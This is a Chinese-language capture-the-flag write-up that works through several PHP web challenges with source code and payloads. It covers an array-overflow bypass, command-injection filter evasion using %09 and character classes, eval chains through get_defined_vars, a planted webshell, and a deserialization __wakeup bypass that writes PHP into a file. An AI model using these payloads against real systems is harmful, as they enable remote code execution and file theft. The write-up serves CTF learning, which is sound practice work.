目录
目录
我幽默码
打开源码,主页面啥都没有
一个棋盘,
看#1部分,上面一行是顺序,下面一行是对应棋盘的坐标,比如null对应?,z1对应的字母是o位置是2,以此类推结果是?source,就想到这个应该是给url后面加一个?source但是传什么不清楚,那就随便传个?source=1看看,结果出现了源码,源码如下:
<?php
error_reporting(0);
if(isset($_GET['source'])){
highlight_file(__FILE__);
echo "$flag_filename = 'flag'.md5(???).'php';";
die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
$c = $_POST['c'];
$count[++$c] = 1;
if($count[] = 1) {
$count[++$c] = 1;
print_r($count);
die();
}else{
$a = $_POST['a'];
$b = $_POST['b'];
echo new $a($b);
}
}
?>
这时候,感觉唯一可以利用的就是else后面的
$a = $_POST['a'];
$b = $_POST['b'];
echo new $a($b);
参考链接:记一道2021浙江省赛的Web题_合天网安实验室的博客-CSDN博客
所以我们就要想办法绕过count=1,因为正常情况肯定是等于,所以想到了溢出问题,这里可以用php数组的溢出,来使得$count[]=1赋值失败。php数组的临界值是9223372036854775807,所以结合代码我们只需要给c传9223372036854775806就可以进入else语句,再结合参考链接里面的我们可以依次post传以下payload拿flag。
———————————
a=DirectoryIterator&b=glob://flag[a-z0-9]*.php&c=9223372036854775806
这个方法可以获得flag的名字,然后接下来就需要读取这个文件
a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag56ea8b83122449e814e0fd7bfb5f220a.php&c=9223372036854775806
然后解码,就可以获得】
ENV
打开题目显示 ?cat= 但是不是命令执行,
试了一下发现果然不是然后就,并且没有flag文件结合题目env,想到在PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。所以就直接var_dump打印一下环境变量看看行不行。传入
?cat=var_dump($_ENV);
然后就得到了flag
命令执行之我在干什么
<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['a'];
$a = '/IFS|flag|cat|tac|more|find|less|[ |<>|?|*|\\\\\'"]/';
if(preg_match($a,$cmd)){
echo "not allow";
}
else{
if(strstr($cmd,'yyds')!=$cmd){
echo "you are success!";
}
else{
system($cmd);
}
}
?>
第一步先审核代码,发现只有绕过正则匹配,进入else,然后再等于cmd就可以得到system进行命令执行,
strstr()函数,:strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2在str1中首次出现的地址;否则,返回NULL。
比如:
char str2 = “cdef”;
char str1 = “abcdefgh”;
则通过函数,将返回
strstr(str1,str2) = cdefgh;
看到传的参数a没有过滤ls命令所以先看目录,传入ls提示you are success!,看代码需要给传入的参数带上yyds,所以传入
?a=yyds;ls
发现没有flag再看根目录,由于过滤了空格这里用%09绕过payload为
?a=yyds;ls%09/
发现flag文件,下一步读flag
但是代码过滤了linux下常用的看文件命令和关键字flag还有通配符,没有过滤tail,nl等这些看文件命令,用这里用tail读文件,用[a-z]绕过关键字过滤。最终payload为
?a=yyds;tail%09/fla[a-z]
命令执行之我是谁
<?php
error_reporting(0);
show_source('index.php');
$cmd = $_GET['cmd'];
$preg = preg_match('/system|exec|shell_exec|`|popen|cat|tac|more|less|flag/',$cmd);
if(!$preg){
eval($cmd);
}else{
echo "非法字符";
}
?>
拿到源代码发现过滤根本不严,系统命令执行函数没过滤完,这里我选用passthru()函数实现命令执行。先用
?cmd=passthru("ls");
看到有flag文件之后用
?cmd=passthru("tail%20fl*");
即可拿到flag
命令执行之我在哪
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
if(!preg_match('/php:\/\/|data:\/\/|phar:\/\/|phpinfo()|info|rm|find|flag|rm|\/|echo|\.|\*|\?/i',$_GET['cmd'])){
@eval($_GET['cmd']);
}else{
echo "danger_string";
}
}else{
echo "你啥也不输入,给你个假的flag:flag{error_flag}";
}
?>
这个题是还是命令执行,首先利用GET方式传入cmd参数,代码中过滤了伪协议还有一些关键字,不能以伪协议形式直接读取文件,@eval($_GET['cmd']);将输入的参数以php代码执行。做这个题之前需要知道几个函数,详解如下:
get_defined_vars ( void ) : array 返回由所有已定义变量所组成的数组
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
传一下这个函数看一下结果。
payload如下:
?cmd=var_dump(get_defined_vars());&b=1
可以看见b参数在里面,并且GET参数在数组第一个,然后要用current函数提取出来b参数
current ( array &$array ) : mixed 返回数组中的当前单元
每个数组中都有一个内部的指针指向它“当前的”单元,初始指向插入到数组中的第一个单元。
payload如下:
?cmd=var_dump(current(get_defined_vars()));&b=1
可以看见我们提取到GET参数的数组了,因为b在最后一个,所以我们用end函数把值取出来。
end ( array &$array ) : mixed end()
将 array 的内部指针移动到最后一个单元并返回其值。
写下payload:
?cmd=var_dump(end(current(get_defined_vars())));&b=1
可以看到成功把b参数的值拿出来了。下面配合eval参数可以直接rce。接下来依次用如下payload拿flag
?cmd=eval(end(current(get_defined_vars())));&b=system(%27ls%27);
?cmd=eval(end(current(get_defined_vars())));&b=system(%27tac%20flag.php%27);
就可以获得flag
webshell
进入页面,没有任何提示,通常使用robots.txt或www.zip等尝试查看是否存在提示等 ,进行扫目录操作
输入robots.txt果然存在提示webshe11.php
进行访问后发现有一串base64编码,解码后,发现传参的参数是hacker
http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('ls ');
本目录没找到那就看一下根目录,或者一直 ../../../也可以
http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('ls /');
找到flag,拿下
然后终于知道只有到达flag的目录才可以得到flag
http://ctf.vfree.ltd:9015/webshe11.php?hacker=system('cat /flag');
无字符Webshell
这道题有点难度,还在解决ing
命令执行
f发现输入system('ls')没有任何回显,感觉是过滤了然后想到用 反引号执行
?cmd=echo `ls`;
发现有个get_flag试着获取一下
没想到如此简单直接出来了
看别人wp发现确实是简单自己还复杂了,哈哈好傻,但是加油!
[两小时AK赛] - WEB - easy_unser
这道题其实也是命令执行
<?php
//flag in /flag
show_source('./index.php');
class catf1ag{
public $target='flag';
function __wakeup(){
$this->target = "catf1ag is CTF platform!";
}
function __destruct(){
$fp = fopen("catf1ag.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['catf1ag'];
$b = unserialize($a);
include 'catf1ag.php';
?>
进去页面发现源码,然后就发现是构造序列化,绕过wakeup 不然target属性要被赋值
?catf1ag=O:7:"catf1ag":2:{s:6:"target";s:26:"<?php include('/flag'); ?>"}
直接输出flag,或者?catf1ag=O:7:"catf1ag":2:{s:6:"target";s:29:"<?php system(‘cat /flag’); ?>"}
都可以获得,